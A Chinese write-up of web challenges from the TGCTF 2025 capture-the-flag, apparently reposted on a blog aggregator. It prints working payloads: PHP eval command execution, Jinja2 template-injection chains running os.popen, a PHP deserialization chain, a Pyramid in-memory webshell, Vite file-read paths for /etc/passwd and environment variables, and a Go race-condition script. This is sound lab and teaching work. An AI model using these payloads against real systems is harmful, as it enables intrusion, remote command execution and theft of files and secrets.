2025TGCTF Web WP复现

news2025/7/17 14:18:06

AAA 偷渡阴平

<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

没有引号, 无法在函数里面传参, 用到无参数命令执行的点

?tgctf2025=eval(array_rand(array_flip(getallheaders())));

多执行几次

在这里插入图片描述

火眼辩魑魅

robots.txt

User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php

题目首页说了执行 shell, 直接看到 tgshell.php

<?php
    $shell=$_POST["shell"];
    {
        eval($shell);
    }
?>

执行了一下 phpinfo(); 确实可以执行命令, 但是过滤了挺多, 开始还没绕过去

后面想到都给了 shell, 直接蚁剑连一下就可以了, 直接拿 flag

在这里插入图片描述

直面天命

读取文件

/aazz?filename=app.py

源码

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key


app = Flask(__name__)


black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars


@app.route('/')
def home():
    return send_from_directory('static', 'index.html')


@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
            template= template.replace("直面","{{").replace("天命","}}")
            template = template
    if "cat" in template:
        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:<br>{template}"
        return error_message, 400


@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
    return render_template_string(template)


@app.route('/aazz', methods=['GET'])
def finder():
    filename = request.args.get('filename', '')
    if filename == "":
        return send_from_directory('static', 'file.html')


    if not filename.replace('_', '').isalnum():
        content = jsonify({'error': '只允许字母和数字!'}), 400
    if os.path.isfile(filename):
        try:
            with open(filename, 'r') as file:
                content = file.read()
            return content
        except Exception as e:
            return jsonify({'error': str(e)}), 500
    else:
        return jsonify({'error': '路径不存在或者路径非法'}), 404




if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

可以读 secret

/aazz?filename=a/b/c/d/secret.py

在这里插入图片描述

这样就可以正常 ssti 了, 自动给了{{}}

name=直面config天命


根据源码的逻辑可能还是要改一下, 这里lipsum这个位置去执行, 需要一些绕过的手段
name=直面cat天命直面lipsum天命

最后的 payload:

name=直面cat天命直面lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat+/flag")|attr("\u0072\u0065\u0061\u0064")()天命

img

什么文件上传?

robots.txt

User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php

直接/class.php 打 php 反序列化就行

<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard(); //hard()不存在, 进入到__call, study=new today
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){ //__toString(), doing=new future()
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64_decode($data));
}


//
$a=new yesterday();
$a->study = new today();
$a->study->doing = new future();
echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));

前端 GAME

CVE-2025-30208&31125: Vite 任意文件读取漏洞

也告诉了 flag 在 /tgflagggg, 直接读

/@fs/tgflagggg?import&raw??

(ez)upload

一直没找到源码, dirsearch扫了几遍都没有

手动试了一下, 源码在 upload.php.bak

<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

        if (isset($_GET['name'])) {
            $file_name = $_GET['name'];
        } else {
            $file_name = basename($_FILES['name']['name']);
        }
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['name']['tmp_name'];
            $file_content = file_get_contents($temp_file);

            if (preg_match('/.+?</s', $file_content)) {
                $msg = '文件内容包含非法字符,禁止上传!';
                $status_code = 403; // 403 表示禁止访问
            } else {
                $img_path = UPLOAD_PATH . $file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                    $msg = '文件上传成功!';
                } else {
                    $msg = '上传出错!';
                    $status_code = 500; // 500 表示服务器内部错误
                }
            }
        } else {
            $msg = '禁止保存为该类型文件!';
            $status_code = 403; // 403 表示禁止访问
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        $status_code = 404; // 404 表示资源未找到
    }
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
    'status_code' => $status_code,
    'msg' => $msg,
]);


比较经典

在这里插入图片描述

在这里插入图片描述

熟悉的配方,熟悉的味道

from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}


def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1


def home_view(request):
    expr_input = ""
    result = ""

    if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):
            try:
                result = eval(expr_input, eval_globals)
            except Exception as e:
                result = e
        else:
            result = "爬!"


    template_str = 【xxx】

    env = Environment(loader=BaseLoader())
    template = env.from_string(template_str)
    rendered = template.render(expr_input=expr_input, result=result)
    return Response(rendered)


if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('home_view', '/')
        config.add_view(home_view, route_name='home_view')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 9040, app)
    server.serve_forever()

检查之前可以执行exec, 没有过滤

def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

没有回显, 写文件, 不过这里没有一些静态文件可以查看, 应该不行

反弹shell , 本地可以, 题目不行, 应该不出网

可以时间盲注

import requests
import time
import string


url = "http://127.0.0.1:33632/"


flag = ""
for i in range(50):
    found = False
    for char in string.printable:
        print(char)
        payload = f"""
import os,time
a=os.popen('cat /fl*').read()
if len(a) > {i} and a[{i}]== '{char}' :
    time.sleep(5)
"""
        start = time.time()
        requests.post(url, data={"expr": payload})
        end = time.time()


        if end - start > 5:
            flag += char
            print(f"位置 {i + 1}: {char}, 当前flag: {flag}")
            found = True
            break


    if not found:
        break


print("最终flag:", flag)

环境太慢了, 就不继续跑了
在这里插入图片描述

可以打内存马

根据原程序代码的构造, 先拿到config, app

expr=import sys;main=sys.modules['__main__'];print(dir(main))

在这里插入图片描述

拿到了config 和app, 添加路由

add_route 第一个参数是路由名, 第二个是路由路径

add_view的第一个参数是一个实现函数, 可以用匿名函数来实现, 第二个参数是路由名

Response表示请求路由后的回显结果

比如:

expr=import sys;config=sys.modules['__main__'].config;app=sys.modules['__main__'].app;
config.add_route('cmd','/xpw');config.add_view(lambda a:Response("hello 111"),route_name='cmd');
app = config.make_wsgi_app()

在这里插入图片描述

现在就可以构造实现rce了

request 是一个 请求对象,它封装了来自客户端的 HTTP 请求信息

request.params:包含查询字符串(如 ?key=value)和 POST 数据的合并结果。

expr=import sys;config=sys.modules['__main__'].config;app=sys.modules['__main__'].app;
config.add_route('cmd','/cmd');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('cmd')).read()),route_name='cmd');
app = config.make_wsgi_app()

在这里插入图片描述

本地可以打通了, 直接用这个payload打题目环境就行
在这里插入图片描述

看题目环境里面有static静态目录, 就想尝试看看能不能写入文件

expr=import+os;os.system("ls >/app/stati/1.txt")

可以发现确实是可以写入的, 但是无法直接通过路由 /static/1.txt 访问, 一般应该是可以访问的,这里可能做了一些限制?

在这里插入图片描述

通过http的协议头回显

https://xz.aliyun.com/news/16143

expr=import+os;built=re.split.__globals__['__builtins__'];setattr=built['setattr'];serverHandler=built['__import__']('wsgiref').simple_server.ServerHandler;setattr(serverHandler,"http_version",os.popen("whoami").read());

在这里插入图片描述

本地可以测试成功

但是题目环境竟然不行, 有点奇怪

尝试500报错

expr=import+os;built=re.split.__globals__['__builtins__'];setattr=built['setattr'];baseHandler=built['__import__']('wsgiref').handlers.BaseHandler;setattr(baseHandler,"error_body",os.popen("whoami").read().encode());

在这里插入图片描述

本地依旧是可行的

题目环境依旧不行, 有点奇怪

在这里插入图片描述

直面天命(复仇)

过滤的更多了

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:
有一个aazz路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

使用 16 进制绕一下就行

name=天命''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[132]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x70\x6f\x70\x65\x6e"]("\x63\x61\x74\x20\x2f\x74\x67\x66\x66\x66\x66\x31\x31\x31\x31\x31\x61\x61\x61\x61\x67\x67\x67\x67\x67\x67\x67\x67")['re''ad']()难违天命cat难违

AAA 偷渡阴平(复仇)

不让用无参 rce 了

<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

能用的就是

2, !, 字母, (), |

理论上应该是可以通过PCRE回溯次数限制绕过preg_match, 只要超过100万就行, 但是这个题目估计有啥限制没成功

可以用的session_id()

控制cookie中的PHPSESSID

?tgctf2025=session_start();system(hex2bin(session_id()));

在这里插入图片描述

有点搞不懂这个, 题目环境是nginx的, 为什么还可以用这个函数apache_request_headers(),有点不理解

/?tgctf2025=system(hex2bin(key(apache_request_headers())));

前端GAME plus

/@fs/app/?../../../tgflagggg?import&?raw

/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init
这个payload拿到的文件内容需要base64解码

前端GAME Ultra

https://mp.weixin.qq.com/s/HMhzXqSplWa-IwpftxwTiA

需要知道Vite所在的绝对路径

先随便访问一个, 允许的是/app, 那么这个大概就是其路径所在了

在这里插入图片描述

直接利用payload读文件 ( 直接在浏览器请求没有作用 )
/@fs/app/#/../../../../../etc/passwd

在这里插入图片描述

默认的flag文件是tgflagggg
/@fs/app/#/../../../../../tgflagggg


但是也可以考虑通过环境变量读取
/@fs/app/#/../../../../../proc/self/envir

在这里插入图片描述

老登,炸鱼来了?

package main


import (
    "fmt"
    "io"
    "log"
    "net/http"
    "os"
    "path/filepath"
    "strings"
    "text/template"
    "time"
)


type Note struct {
    Name       string
    ModTime    string
    Size       int64
    IsMarkdown bool
}


var templates = template.Must(template.ParseGlob("templates/*"))


type PageData struct {
    Notes []Note
    Error string
}


func blackJack(path string) error {


    if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
        return fmt.Errorf("非法路径")
    }


    return nil
}


func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
    safe := templates.ExecuteTemplate(w, tmpl, data)
    if safe != nil {
        http.Error(w, safe.Error(), http.StatusInternalServerError)
    }
}


func renderError(w http.ResponseWriter, message string, code int) {
    w.WriteHeader(code)
    templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
        "Code":    code,
        "Message": message,
    })
}


func main() {
    os.Mkdir("notes", 0755)


    safe := blackJack("/flag") //错误示范,return fmt.Errorf("非法路径")


    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        files, safe := os.ReadDir("notes")
        if safe != nil {
            renderError(w, "无法读取目录", http.StatusInternalServerError)
            return
        }


        var notes []Note
        for _, f := range files {
            if f.IsDir() {
                continue
            }


            info, _ := f.Info()
            notes = append(notes, Note{
                Name:       f.Name(),
                ModTime:    info.ModTime().Format("2006-01-02 15:04"),
                Size:       info.Size(),
                IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
            })
        }


        renderTemplate(w, "index.html", PageData{Notes: notes})
    })


    http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
        name := r.URL.Query().Get("name")


        if safe = blackJack(name); safe != nil {
            renderError(w, safe.Error(), http.StatusBadRequest)
            return
        }


        file, safe := os.Open(filepath.Join("notes", name))
        if safe != nil {
            renderError(w, "文件不存在", http.StatusNotFound)
            return
        }


        data, safe := io.ReadAll(io.LimitReader(file, 10240))
        if safe != nil {
            renderError(w, "读取失败", http.StatusInternalServerError)
            return
        }


        if strings.HasSuffix(name, ".md") {
            w.Header().Set("Content-Type", "text/html")
            fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)
        } else {
            w.Header().Set("Content-Type", "text/plain")
            w.Write(data)
        }
    })


    http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
        if r.Method != "POST" {
            renderError(w, "方法不允许", http.StatusMethodNotAllowed)
            return
        }


        name := r.FormValue("name")
        content := r.FormValue("content")


        if safe = blackJack(name); safe != nil {
            renderError(w, safe.Error(), http.StatusBadRequest)
            return
        }


        if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
            name += ".md"
        } else {
            name += ".txt"
        }


        if len(content) > 10240 {
            content = content[:10240]
        }


        safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
        if safe != nil {
            renderError(w, "保存失败", http.StatusInternalServerError)
            return
        }


        http.Redirect(w, r, "/", http.StatusSeeOther)
    })


    http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
        name := r.URL.Query().Get("name")
        if safe = blackJack(name); safe != nil {
            renderError(w, safe.Error(), http.StatusBadRequest)
            return
        }


        safe := os.Remove(filepath.Join("notes", name))
        if safe != nil {
            renderError(w, "删除失败", http.StatusInternalServerError)
            return
        }


        http.Redirect(w, r, "/", http.StatusSeeOther)
    })


    // 静态文件服务
    http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))


    srv := &http.Server{
        Addr:         ":9046",
        ReadTimeout:  10 * time.Second,
        WriteTimeout: 15 * time.Second,
    }
    log.Fatal(srv.ListenAndServe())
}

没学过go, 跟着wp浅浅的理解一下这道题的思路

因为go的语言特性的原因

:= 表示声明一个变量以及给这个变量赋值
=  表示给一个变量赋值
区别就是  `:=` 相当于新建了一个变量, 而=是给一个以及存在的变量赋值

而对于这道题目, 想要拿到flag, 就是要读取文件, 需要路径穿越, 但是有waf, 不让用.. /

也绕不过去, 想要读flag文件肯定是需要../

func blackJack(path string) error {


    if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
        return fmt.Errorf("非法路径")
    }


    return nil
}

而源码里面

if safe = blackJack(name); safe != nil {
            renderError(w, safe.Error(), http.StatusBadRequest)
            return
        }

safe = blackJack(name) , 说明此时safe是一个已经存在的一个变量

那么这里就可以存在一个条件竞争的一个很短的时间点

当给name随便传入一个不在黑名单的参数, safe被赋值为nil

当并发执行的时候, 可能就会存在另外一个线程 ,给name传参 ../../../flag

而此时的safe还是前面赋值的nil

我对这里的理解就是, 传入的非法name,经过blackJack()检查之后, 给safe赋值"非法路径"

此时另外一个线程也正好就比它晚一点点,对合法的name经过blackJack()检查, 给safe赋值"nil", 那么现在的safe在还没判断之前就从"非法路径"更新为"nil"了, 就通过了 safe!=nil的判断, 就可以进入到后面读取文件并返回内容了

而如果这里的是safe:=blackJack(name), 那么就是每个线程都是自己的独立的变量了, 其他的线程访问不了, 类似于加锁, 就无法条件竞争了

官方wp的脚本

import aiohttp
import asyncio
import time


class Solver:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.READ_FILE_ENDPOINT = f'{self.baseUrl}'
        self.VALID_CHECK_PARAMETER = '/read?name=1'
        self.INVALID_CHECK_PARAMETER = '/read?name= / / /flag'
        self.RACE_CONDITION_JOBS = 100


    async def raceValidationCheck(self, session, parameter):
        url = f'{self.READ_FILE_ENDPOINT}{parameter}'
        async with session.get(url) as response:
            return await response.text()


    async def raceCondition(self, session):
        tasks = list()
        for _ in range(self.RACE_CONDITION_JOBS):
            tasks.append(self.raceValidationCheck(session, self.VALID_CHECK_PARAMETER))
            tasks.append(self.raceValidationCheck(session, self.INVALID_CHECK_PARAMETER))
        return await asyncio.gather(*tasks)


    async def solve(self):
        async with aiohttp.ClientSession() as session:
            attempts = 1
            finishedRaceConditionJobs = 0
            while True:
                print(f'[*] Attempts: {attempts} - Finished race condition jobs: {finishedRaceConditionJobs}')
                results = await self.raceCondition(session)
                attempts += 1
                finishedRaceConditionJobs += self.RACE_CONDITION_JOBS


                for result in results:
                    if 'TGCTF{' not in result:
                        continue
                    print(f'\n[+] We won the race window! Flag: {result.strip()}')
                    exit(0)


if __name__ == '__main__':
    baseUrl = 'http://127.0.0.1:30604//'
    solver = Solver(baseUrl)
    asyncio.run(solver.solve())

爆不出, 放弃

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2337991.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

「GitHub热榜」AIGC系统源码:AI问答+绘画+PPT+音乐生成一站式

—零门槛搭建私有化AI内容工厂&#xff0c;源码开放商业落地指南 为什么全栈AIGC系统成为企业刚需&#xff1f; 1. 传统方案的致命缺陷 痛点 使用ChatGPTMidjourneyCanva 本全栈方案 工具割裂 需切换5平台 一个系统全搞定 成本 年费50万 一次部署永久免费 数据安全 …

【C++】 —— 笔试刷题day_19

一、小易的升级之路 题目解析 小易现在要打游戏&#xff0c;现在游戏角色的初始能力值为a&#xff0c;我们会遇到n个怪&#xff0c;这些怪物的防御值为b1、b2、b3...&#xff0c;如果我们的能力值要高于或者等于怪物的防御值&#xff0c;那我们的能力值就会加bi&#xff1b;如…

Kubernetes》》K8S》》Pod的健康检查

K8s概念总结 》》》Pod的生命周期阶段 Pod的生命周期可以简单描述&#xff1a;首先Pod被创建&#xff0c;紧接着Pod被调度到Node节点进行部署。 Pod是非常忠诚的&#xff0c;一旦被分配到Node节点后&#xff0c;就不会离开这个Node节点&#xff0c;直到它被删除&#xff0c;删除…

计算机视觉——基于使用 OpenCV 与 Python 实现相机标定畸变校正

概述 相机标定是一种旨在通过确定相机的内参&#xff08;焦距、光学中心、畸变系数&#xff09;和外参&#xff08;相机的位置和方向&#xff09;&#xff0c;提高图像在现实世界中的几何精度的过程。该过程可以纠正相机拍摄的图像中的畸变&#xff0c;使相机能够准确感知现实…

Python作业4 文本词云统计,生成词云

编写程序&#xff0c;统计两会政府工作报告热词频率&#xff0c;并生成词云。 2025两会政府工作报告 import jieba import wordcloud from collections import Counter import re# 读取文件 with open("gov.txt", "r", encoding"gbk") as f:t …

Jenkins 2.492.2 LTS 重置管理员密码

文章目录 1. Jenkins 关闭用户认证2. jenkins 修改密码 如果忘记了 Jenkins 的管理员密码的话&#xff0c;也不用担心&#xff0c;只要你有权限访问 Jenkins 的根目录&#xff0c;就可以轻松地重置密码。 1. Jenkins 关闭用户认证 // 查看 jenkins 家目录&#xff08;使用 doc…

【裁判文书网DES3数据解密】逆向分析

点击翻页&#xff0c;出现请求&#xff0c;可以看到请求参数有个ciphertext密文&#xff0c;响应数据也是密文 打上断点&#xff0c;点击翻页&#xff0c;断住 可以看到postData里面的ciphertext已经生成 往前跟栈&#xff0c;可以发现是var ciphertext cipher(); funct…

花园灌溉问题

#include <bits/stdc.h> using namespace std;// 设置最大行列数&#xff08;题目限制 n, m ≤ 100&#xff09; const int N 104;// 标记某个格子是否已经被水浇灌 bool used[N][N];// 队列&#xff0c;用于 BFS&#xff0c;存储当前水源的位置 queue<pair<int,i…

《AI大模型应知应会100篇》第22篇:系统提示词(System Prompt)设计与优化

第22篇&#xff1a;系统提示词(System Prompt)设计与优化 摘要 在大语言模型&#xff08;LLM&#xff09;应用中&#xff0c;系统提示词&#xff08;System Prompt&#xff09;是控制模型行为的核心工具之一。它不仅定义了模型的身份、角色和行为规范&#xff0c;还直接影响输…

Jsp技术入门指南【六】jsp脚本原理及隐式对象

Jsp技术入门指南【六】jsp脚本原理及隐式对象 前言一、JSP 脚本元素1.1 声明1.2 表达式1.3 脚本标签 二、JSP 的隐式对象是什么三、隐式对象详解outrequestsessionapplicationconfigexception 前言 在之前的博客中&#xff0c;我们已经介绍了JSP的环境搭建、编译文件查找以及生…

Jsp技术入门指南【五】详细讲解jsp结构页面

Jsp技术入门指南【五】详细讲解jsp结构页面 前言一、JSP页面的结构二、JSP页面的部件1. 指令&#xff08;核心控制部件&#xff09;2. 动作&#xff08;页面交互部件&#xff0c;了解即可&#xff09;3. 脚本&#xff08;Java逻辑嵌入部件&#xff09; 三、JSP指令详解1.1 JSP指…

Beyond Compare 30天评估到期 解决方法

Beyond Compare 30天评估到期 解决方法 一、问题二、解决办法2.1 第一步&#xff1a;打开注册表2.2 第二步&#xff1a;删除cacheID 三、效果 一、问题 Beyond Compare提示评估到期&#xff0c;重装也无效&#xff0c;只需简单两步&#xff0c;轻轻松松出困境。 二、解决办法…

Arduino无线体感机器手——问题汇总

文章不介绍具体参数&#xff0c;有需求可去网上搜索。 特别声明&#xff1a;不论年龄&#xff0c;不看学历。既然你对这个领域的东西感兴趣&#xff0c;就应该不断培养自己提出问题、思考问题、探索答案的能力。 提出问题&#xff1a;提出问题时&#xff0c;应说明是哪款产品&a…

学习设计模式《一》——简单工厂

一、基础概念 1.1、接口 简单的说&#xff1a;接口是【用来实现类的行为定义、约束类的行为】&#xff08;即&#xff1a;定义可以做什么&#xff09;&#xff1b;接口可以包含【实例方法】、【属性】、【事件】、【索引器】或这四种成员类型的任意组合。 接口的优点&#xff1…

010数论——算法备赛

数论 模运算 一般求余都是对正整数的操作&#xff0c;如果对负数&#xff0c;不同编程语言结果可能不同。 C/javapythona>m,0<a%m<m-1 a<m,a%ma~5%32~-5%3 -21(-5)%(-3) -2~5%(-3)2-1正数&#xff1a;&#xff08;ab&#xff09;%m((a%m)(b%m))%m~正数&#xff…

NAT、代理服务、内网穿透

NAT、代理服务、内网穿透 1、NAT1.1、NAT过程1.2、NAPT2、内网穿透3、内网打洞3、代理服务器3.1、正向代理3.2、反向代理1、NAT 1.1、NAT过程 之前我们讨论了IPv4协议中IP地址数量不充足的问题。NAT技术是当前解决IP地址不够用的主要手段,是路由器的一个重要功能。 NAT能够将…

【unity实战】Unity动画层级(Animation Layer)的Sync同步和Timing定时参数使用介绍,同步动画层制作角色的受伤状态

文章目录 前言方案一&#xff1a;复制粘贴原有层级的状态机1、实现2、问题 方法二&#xff1a;勾选Sync同步动画层1、简单实现同步2、同步blend tree的问题3、动画状态的播放时长4、下层状态覆盖了上层状态 专栏推荐完结 前言 如何制作角色的受伤状态&#xff1f; 玩家角色在…

Uniapp调用native.js使用经典蓝牙串口通讯方法及问题解决

本人尝试在uniapp环境下开发一款安卓应用&#xff0c;需要与使用经典蓝牙协议的设备进行串口通讯&#xff0c;而uniapp官方给出的蓝牙操作接口目前只支持BLE&#xff08;低功耗蓝牙&#xff09;&#xff0c;用该接口无法正常获取到我想要连接的设备。 通过大量搜索&#xff0c…

C++23 新特性:行拼接前去除空白符 (P2223R2)

文章目录 1\. 什么是行拼接前去除空白符2\. 为什么需要这一特性3\. 示例代码输出结果 4\. 编译器支持5\. 优势与应用场景5.1 提高代码可读性5.2 减少潜在错误5.3 适用于多行字符串 6\. 其他相关特性7\. 总结 C 语言一直在不断进化&#xff0c;以满足现代软件开发的需求。C23 标…

【通过Zadig给鼠标适配器安装驱动后,鼠标动不了,无法恢复的解决办法】

